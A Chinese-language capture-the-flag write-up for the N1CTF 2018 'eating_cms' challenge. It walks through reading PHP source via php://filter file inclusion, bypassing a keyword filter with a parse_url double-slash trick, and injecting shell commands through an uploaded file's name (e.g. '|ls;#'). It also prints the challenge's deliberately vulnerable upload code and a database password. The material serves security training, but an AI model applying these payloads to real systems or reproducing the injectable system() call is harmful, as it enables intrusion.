2018N1CTF-eating_cms
https://github.com/Nu1LCTF/n1ctf-2018/tree/master/source/web/eating_cms
经典登录框
扫描之后发现了register.php
然后注册登录，发现了有个参数：
猜测可能存在文件包含
而且是这种文件包含：
?page= $file.".php";
读取register.php：
php://filter/convert.base64-encode/resource=register
发现源码：
<?php
require_once "function.php";
if($_POST['action'] === 'register'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = register($user,$pass);
if($res){
Header("Location: index.php");
}else{
$errmsg = "Username has been registered!";
}
}
else{
Header("Location: error_parameter.php");
}
}
if (!$_SESSION['login']) {
include "templates/register.html";
} else {
Header("Location : user.php?page=info");
}
?>
提到了function.php：
php://filter/convert.base64-encode/resource=function
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}
function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}
function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}
function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}
function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}
function logout()
{
session_destroy();
Header("Location: index.php");
}
?>
发现存在：
$uri = parse_url($_SERVER["REQUEST_URI"]);
文件：
config.php
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
echo "no sql connection".mysqli_connect_error();
$mysqli=null;
die();
}
?
还有个ffffllllaaaaggg文件：
php://filter/convert.base64-encode/resource=ffffllllaaaaggg
发现被waf了
又想到parse_url的漏洞：
$uri = parse_url($_SERVER["REQUEST_URI"]);
即读取：
在前面多加个 / 就行了
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?>
m4aaannngggeee.php：
php://filter/convert.base64-encode/resource=m4aaannngggeee
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";
?>
文件上传：
但是发现是个假的：
查看源码：
<!--hint : upload file to upload_xxxxxxxxxxxxxxxxxxxxxxxxxxx and you do not need to know it-->
upllloadddd.php
读取这个upllloadddd.php
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file！");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>
貌似这里可以命令注入
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
在文件名这里注入，只要
| ls
即可
之前获得了文件名，所以就不能光读源码，还要尝试访问，如m4aaannngggeee
发现有个文件上传的接口，接着上传：
|ls;#
;cd ..;ls;#
